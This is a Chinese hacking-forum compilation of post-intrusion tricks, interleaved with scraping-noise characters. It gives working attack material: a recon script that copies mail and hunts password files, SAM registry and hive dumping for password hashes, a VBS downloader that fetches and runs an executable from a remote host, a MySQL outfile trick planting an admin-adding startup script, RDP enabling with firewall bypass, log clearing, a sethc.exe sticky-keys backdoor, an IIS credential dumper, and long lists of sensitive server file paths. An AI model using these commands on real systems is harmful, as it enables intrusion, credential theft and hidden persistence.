* ?0 c0 A; t: u7 t0 Y0 k. G3 G（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1 j5 l; h6 k# X3 G9 n# J3 v1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
$ A* k1 T3 E6 V{
5 A3 Q( T; t& m/ N注：
8 Q% S) A# v# Q3 J2 F; k关于tar的打包方式,linux不以扩展名来决定文件类型。
$ Y2 F5 g% o% y( m% W4 `/ T6 l若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
- L9 C7 C8 [, }7 C
提权先执行systeminfo
# s9 O) b. D9 E8 y* G6 dtoken 漏洞补丁号 KB956572
% n3 ?; T% H' s3 F* s4 mChurrasco          kb952004
2 \' n2 C0 }. }9 x命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
1 n6 N& g1 t; `  {% X1 \2、收集系统信息的脚本  
" {+ b. m: G0 Q, Gfor window：

" {8 S) p8 T, R@echo off
echo #########system info collection
+ t" P9 G. g' k0 f! x3 _: B# M6 bsysteminfo
' O" [" V" W6 b. d( [3 `, Over
hostname
net user
1 g( f0 r! N8 C6 U, H. C/ b7 b1 M1 Jnet localgroup
net localgroup administrators
net user guest
+ S9 z/ ]0 w" Q6 T& I2 `) Rnet user administrator

echo #######at- with   atq#####
echo schtask /query
& \6 `7 U1 _$ e9 }7 K& q5 O; ?) D
& E( O' K% Z$ W! y' t; ~( L8 j+ s/ lecho
echo ####task-list#############
/ U( Z+ ]& S* t/ Ltasklist /svc
echo
1 g& Y* o' E, W- e/ }4 d: c  l) Jecho ####net-work infomation
ipconfig/all
route print
+ n8 S' W( B- P' b/ y; h4 ~& Z, z; G9 Parp -a
# [6 R; k& T$ J+ \* V  t# b. Fnetstat -anipconfig /displaydns
6 Z" I/ ~& Y, ?, Q4 E6 J% decho
0 _) k8 V" M' m/ }echo #######service############
sc query type= service state= all
echo #######file-##############
' N( A# \, I9 y$ `cd \
tree -F
for linux：

3 j0 F) N$ g8 u# E#!/bin/bash

echo #######geting sysinfo####
% i2 C, l3 H2 n7 h- recho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
: O/ {3 o6 _" S) l% P! [' k% o$ q& a" ucat /proc/cpuinfo
* \1 p# t$ I; y# Eecho
! _. K6 c* N# L: y" K2 Qrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

2 m7 A$ G% B% M. b
3 e5 y* V, ?( n  Z# O& ?, necho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
! o/ G( d+ C# M! o0 jecho #####about var#####
set
- u- T0 b! d* B% i( j; I  u
echo #####about network###
) t9 J- Q! {6 L9 |) l####this is then point in pentest,but i am a new bird,so u need to add some in it
/ X0 P$ t. X4 u) Ucat /etc/hosts
hostname
* k5 l2 p" ?: {. aipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

: @7 u, y+ j+ q5 M, Q# Kecho ######service####
chkconfig --list
9 b9 p5 K) V/ Z* L
for i in {oracle,mysql,tomcat,samba,apache,ftp}
: g4 W% p( _, g2 B+ m* Vcat /etc/passwd|grep -i $i
7 l2 ~' y6 @. D% hdone
( e4 y( u1 }6 O% W
0 a4 H) ]- N* k. D( jlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
. |' _  p( g9 J% dsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
+ m* ?3 u0 I; Slocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
7 _5 a) r6 f9 V+ ^$ R( f* R
  A; ]* P6 P3 m7 F/ z/ V& t###maybe can use "tree /"###
- i4 s6 l: k% O/ X) X' }echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
$ x# y- x+ z1 U. s/ Rrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
0 M0 Z7 g+ B$ E! y" b——————————————
$ P6 ]9 C& x' e$ J3 N" b$ I3、ethash 不免杀怎么获取本机hash。
  S- y1 w4 I( P9 h首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
$ |5 d; _9 }* X  r7 z# p注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
) o. a; U" c3 g2 P  R2 Ohash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
$ T' _( A: E: x- {1 a  |. R——————————————
) @) h% x- d" j  V! ?4、vbs 下载者
, g; B! k( Z5 {; x4 D& d1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
. b! |$ ?, @; gecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
$ ~8 F2 S+ o8 z0 N* ?9 ~echo sGet.Open() >>c:\windows\cftmon.vbs
7 \1 O0 ?4 u  F# zecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
3 a1 u. d" `1 |4 c1 _echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
- P2 ~3 Z9 A6 Z2 N  F) Icftmon.vbs
, ]# f* @$ n% x9 ]. E9 U
3 G/ u" K& _7 ~( J8 T+ B2
- k/ e; M- @) E* h0 o% E3 t# p  x* GOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
' ~9 d) q, ~3 U3 V; uSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
7 m& b0 u; ^+ A3 Y" v; s# ^0 VSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

6 K/ G# z3 v/ t" x8 e* E' t* l! L当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
0 H8 T; x6 }1 H; ]6 l/ ^5、
1.查询终端端口
4 l) m) h& T5 e# EREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
+ q) U' I2 Z: ]' e2.开启XP&2003终端服务
! N% J6 u1 l5 T( A+ _REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
: Y/ ]* h. [8 g) }0 L/ M! o/ q3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
. k8 n2 \5 e2 A$ y8 |- \select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
8 j8 ^5 w5 |# e$ p% i8 e  
; P1 n1 X6 K3 C6 t( z, k  for /d %i in (???) do @echo %i

7 z. U6 V+ k* x/ L/ v; v3 p5 Z把当前路径下文件夹的名字只有1-3个字母的打出来
' ], f3 ~2 A" R# f* [2 K
2.for /r %i in (*.exe) do @echo %i
3 Y; G' c5 l1 {$ b) ]  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
# [2 Q. G6 X( }! {, S. T: ]
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

4 m5 g; `, P! Y3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

2 U% a  s, f1 g3 ~1 R; g8 h0 u4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
. l$ v9 H9 l$ Y
5 J) \: C$ o0 n( R+ I  delims=后的空格是分隔符 tokens是取第几个位置
! M% e7 C' V) A+ P0 y——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
4 W  Q& m0 N: {2 k+ {
8 z) n( @3 D+ _$ O; K; S2.修改3389的默认端口:
" Z6 B7 u# m& ]! t& c2 WHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
" C! d4 w/ u3 E% m0 W  \
* _, S7 j/ i! e& U  v' D/ k3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
+ M7 t3 G6 j' }% k7 l: z) v
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
, s) E2 j1 \, `6 P6 [5 q6 k. ~
/ ~+ |' f; J8 i3 S5 X* s; n5.禁用TCP/IP端口筛选(需重启):
! {* X  n+ {* z( p& FREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
( p& z* l4 s9 w1 _/ s0 y5 `
+ m2 o+ K2 o: f, L0 a$ v: t6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
/ c  w5 c  q* m3 Y
* I: j/ O3 |5 L7.停止指派策略"myipsec":
6 G: k- E$ Y7 Mnetsh ipsec static set policy name="myipsec" assign=n
# }( |% z; t) \$ D; M. E) {+ ~; X+ e  P
8 z, n  Q& y9 j$ a8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

- J+ P8 q: i- L/ g9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

: A" Z; m1 J. G4 h+ b10.shift映像劫持
5 b, Z6 m% q, ureg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

# G% C6 D- P! \  I9 }- {+ Y+ Ireg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
# G+ t: p& }$ C4 p; r/ j8 p, {9 v星外vbs(注：测试通过，好东西）
# d$ t3 d( L, j; {# a6 I( E9 E! PSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
# c. r' P# W5 f5 G( HchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
. ?8 v- a- T( m, g# L" jset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
6 ~, e8 S, s3 L! Xexit for
  a9 U5 `+ f! Bmsgbox("error!")
wscript.quit
4 o; G2 P5 N, j( |& |( R( wend if
serverbindings=IIS.serverBindings
" a3 T4 I: x3 `( dServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
* ]& t, j' z- T, [! L0 `5 jpass=iisweb.AnonymousUserPass
: l( ?, r$ h, J7 K# M" L3 ipath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
  {' q* G; x* i: ^& w- Lend if
Next
- C- z" p- W/ Iwscript.echo list
& X' O- y: ~, d; n- R& bSet ObjService=Nothing
% \9 q& @- B7 m- ewscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
3 r7 y( k$ h+ VWScript.Quit
复制代码
7 O/ Z5 @3 K1 {! \0 x----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
, j' p0 J& t" j# A: g) l8 g9 j+ [将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
8 |0 u, d& L, \1 Q复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
0 U: V4 @' c* R6 lPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
- q) u) ?2 B' \3 [  e5 i$ L, G8 Y 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
- h" ]4 t6 F: s6 y" P5 s 解决方法
- }6 f* m* T/ x) d url=request.severvariables("path_info")
5 Q; Y& E0 ~7 Z path_info可以直接呈现虚拟路径 顺利解析gif大马
! q( C7 S/ Q/ s( ?; S6 U
' U' {9 b6 z6 O# c$ O==============================================================
LINUX常见路径：
( j2 i4 K- z$ I0 Q. w
$ C* S1 b* a& [; q/ X! A& i/etc/passwd
) X8 X4 g+ A$ i! b- R/etc/shadow
  _% L: }* m+ N3 ]' x: B! N/etc/fstab
/ P" ~- C$ O% A2 t; \  i. l7 Q/etc/host.conf
( d, F9 d: t6 |6 U& `1 X/etc/motd
- K0 d! O+ Q1 ]+ b6 h  N2 Z" @  _/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
* Y3 E7 j* w- a. R& o; G/var/www/htdocs/index.html
/var/httpd/conf/php.ini
5 }% J: G' p8 E7 |/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
8 d) V9 m& e; ?" F4 k# e/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
# f% n, C; J- L0 V/opt/www/htdocs/index.html
7 t: _7 R0 J7 C6 ?* _/usr/local/apache/htdocs/index.html
7 S; |/ {0 q- L8 I' c9 h; a0 G/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
* B* u. _# s# b9 A) n' }4 w/ x0 D! [/usr/local/httpd2.2/htdocs/index.html
2 y. @6 R+ x8 Y/tmp/apache/htdocs/index.html
; e( R% k3 S& p* ^/tmp/apache/htdocs/index.php
4 t, T1 j+ J# n% f/ L  f+ H# C/etc/httpd/htdocs/index.php
& f5 Y9 F' x; T: u. {0 J/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
; M- t( M1 A. W, y, i. s/www/php/php.ini
/www/php4/php.ini
/ l( I4 z% B1 E" u/ Q/www/php5/php.ini
4 b# D  J- a! p9 t5 ~/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
" {) T# P* V+ W  }/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
2 F4 r- R9 L. Q( ?& h2 [+ Q8 S/apache/apache2/conf/httpd.conf
6 J/ g- Q( W/ E& v6 Y. Y! I/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
2 Z6 U5 I5 q0 z6 R6 t/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
. P3 Z* [1 W4 n; b6 d( _/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
6 Q& b  ?3 E$ M9 H+ @  i/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
: h7 ~: A0 W: R2 Y# F& S7 `/var/log/apache/error_log
& r6 D4 G! y& i+ R0 {/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
- h# ?6 h% i( x, E) }- ]- o- t, ~/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
  c$ g( H# {( g; \/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
- F5 o- c$ f0 t/var/log/error.log
# F0 Q  X1 {! P* `) E' W/var/log/access_log
3 Y- M# B% G  w8 P/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
+ F: n5 A( |- m5 S/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
: m& ~0 u' M* U( @1 M/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
5 i1 P* `$ Z7 q$ a' E/usr/local/php/lib/php.ini
, v0 K: t7 P- u/usr/local/php4/lib/php.ini
- T7 l8 {& Q0 }) M  h6 v/usr/local/php4/php.ini
" G6 V* B/ _3 n, B/ e9 h/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
# R. G! N  z2 z" ?$ D6 U. W( Z/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
5 }1 k/ M5 Y3 K& [# P/usr/local/apache2/conf/httpd.conf
7 H. C% }2 R; [/ r. @. g' m% B/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
0 ]8 G' J# h+ @2 y  R2 c5 r1 T1 W/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
) t2 d4 K7 e# b1 x/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
6 K  d  Q4 b) z2 i/var/local/www/conf/php.ini
  v* J$ g9 L/ d8 w- {5 {0 X/var/local/www/conf/httpd.conf
! N5 f3 W2 H. p2 P6 ?/etc/php/cgi/php.ini
$ D( Q  K/ d7 P$ [! x* ?6 U/etc/php4/cgi/php.ini
0 ^. y- O- a# X  I# `6 Z/etc/php5/cgi/php.ini
* s1 x% _+ k+ b, m" D/php5/php.ini
  m9 j, q7 b; R# F! v% @  c/php4/php.ini
1 d% a& w+ d+ B4 a+ X4 J- u; }/php/php.ini
/PHP/php.ini
( R% d# X7 }' t+ [/ G; P/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
' C& w% X: w! X/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/ A  a; f2 H( L8 i/var/log/mysql/mysql-bin.log
' I7 K) Q' U7 t- u- K% c/var/log/mysql.log
5 W' ^4 q* Q8 o- R, d/var/log/mysqlderror.log
( C5 e- n' Q0 C# x* U7 ?/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
! p1 r% ?* R% j8 n5 T3 V  F4 v/ a' l/var/mysql.log
, `: ]0 P4 }8 q' N8 x/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
7 i6 q+ L" L1 t7 N- Y/usr/local/cpanel/logs
4 l+ A3 H/ t! Z+ M/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
8 f* o1 T' i1 L! x% ^; Z/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
1 y; i% W# B8 z; N& n/usr/local/share/examples/php/php.ini
9 f. m' g7 p: L5 P
  y: _  V3 ~8 N. V. G% T* P2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
' h: n8 M' k. x
c:\windows\php.ini
c:\boot.ini
c:\1.txt
# e; k7 h5 ^# {( Z# P0 b# zc:\a.txt
$ h0 x3 v6 I" y; N' s0 v
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
- b( X6 r% }# S* D5 v" `$ i, Vc:\CMailServer\WebMail\index.asp
# U3 m" P: R" E( H0 _4 fc:\program files\CMailServer\CMailServer.exe
' v! {& B( d& e* @/ w& Z6 L* wc:\program files\CMailServer\WebMail\index.asp
" y% D$ H0 B. C7 s1 f0 A, UC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
* Q& x  W! i& m0 D. [9 A! {, i9 Z7 FC:\WINDOWS\FreeHost32.dll
  c. _0 |! o+ g/ {# Q7 fC:\WINDOWS\7i24iislog4.exe
; t' L4 m, w7 U0 V' ^8 \( lC:\WINDOWS\7i24tool.exe
, x$ q% \" K- b8 o
c:\hzhost\databases\url.asp

) g7 {3 h1 W3 N0 d) dc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

: H' {) f3 o( \6 L+ H5 S- _C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
  R. w( s0 v5 O5 yc:\www\index.html
9 d! }( m0 w- k! D% V; yc:\WWWROOT\index.html
c:\website\index.html
! N4 S5 Y0 X( _/ S! N& Z" ?c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
# t3 U% ]: k5 }$ ~c:\WWWROOT\index.asp
c:\web\index.php
' D; P1 x$ E: Q' \% B$ Z. hc:\www\index.php
c:\WWWROOT\index.php
9 _' o7 u6 t  x% W5 T$ gc:\WWWsite\index.php
6 T. F$ `2 R' U, L" C* u6 Tc:\web\default.html
8 s" P# A1 K9 Z; J4 v. `c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
& k$ J5 K6 U# _& K  h& rc:\web\default.asp
c:\www\default.asp
2 {3 E# X5 `( Z2 j( }3 Yc:\wwwsite\default.asp
  j( {+ ?4 _! T" ?' `' T/ n: X0 Jc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
4 N( d- \8 {, m$ V4 Z1 |c:\WWWROOT\default.php
2 N& o+ T+ m4 G8 c9 u$ Qc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
6 ?9 m. k" C& a4 F* b; G' Q; q. Pc:\windows\notepad.exe
* s8 }# U5 |/ s( s3 f$ Ac:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
; C; G; {* v! d: q! w8 @C:\Program Files\Microsoft Office\OFFICE12\winword.exe
( b9 ^) a9 ~+ ?. ^1 M% A& U; f9 D5 _C:\Program Files\Internet Explorer\IEXPLORE.EXE
/ H( ^9 Q$ W( xC:\Program Files\winrar\rar.exe
& g- y* ?; r9 z6 [. l6 A7 kC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
/ e8 I1 ^  w. q: ~- k/ [$ Jc:\ravbin\store.ini
$ C* c/ V& U# Hc:\rising.ini
' t% y0 _. V2 _: l. |7 ~C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
6 P" |9 H4 W- `& `7 {0 _; u4 y) JC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
  {) K. k- s% QC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
, S. F; \" j4 p! M9 n% ^3 f# OC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
% X% l3 w; g3 k" ^4 MC:\Documents and Settings\Administrator\桌面\a.txt
( \  {1 d! k) v: R3 HC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
- l! p! F" j  ]2 j1 |E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
$ w. T6 a; ]/ N5 A& {+ H$ b! `C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
% k9 q; i4 z) s: W8 D9 ~' u! pC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
/ u) `+ \+ j: h  k' F$ M( bC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
! {& L( x4 x6 }, bC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
; G! l4 u+ q& _( vC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
- w  s  u) E" @- m; hC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
) M' l7 C. i7 u* c% C2 |; f2 QC:\MySQL\MySQL Server 5.0\my.ini
' }8 I3 L+ M! |( F2 bC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
3 N8 }1 D; V4 T2 Q1 u6 hC:\Program Files\MySQL\MySQL Server 5.0\COPYING
9 p& y2 q) w: [5 l6 p1 L7 jC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
( {# R" i" p8 y# i' \- A( c2 J+ {1 Nc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
4 y% Y- P: j) I* i: y5 ?( sC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
+ M3 l/ ]& j' [2 s0 j8 e7 QC:\WINDOWS\system32\inetsrv\w3wp.exe
: q3 e. H. Y% O! |1 WC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
) M0 |7 g7 J, y7 q) e# |5 {C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
. B: V2 a& x" A' n# xC:\WINDOWS\system32\config\sam
) N* r; x" h0 u( W% W# E% g! V! t4 PC:\WINDOWS\system32\config\system
$ y$ ~0 q. S, t* F: A5 ?c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
& p- r/ f- J5 fc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
4 m1 b- l' B0 Sc:\tomcat\bin\version.sh
$ ~: U4 |% z$ \c:\program files\tomcat6\bin\version.sh
$ Q# e: O! ?; W' JC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
0 n5 S3 g% T: t0 [c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
+ D! ]  o% B" H+ _4 Rc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
; Q6 M4 L3 t: c+ cc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
" m  k8 X" }' t# f8 N9 o- y/usr/local/tomcat5527/bin/version.sh
# C% D& y4 |* i/ w/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
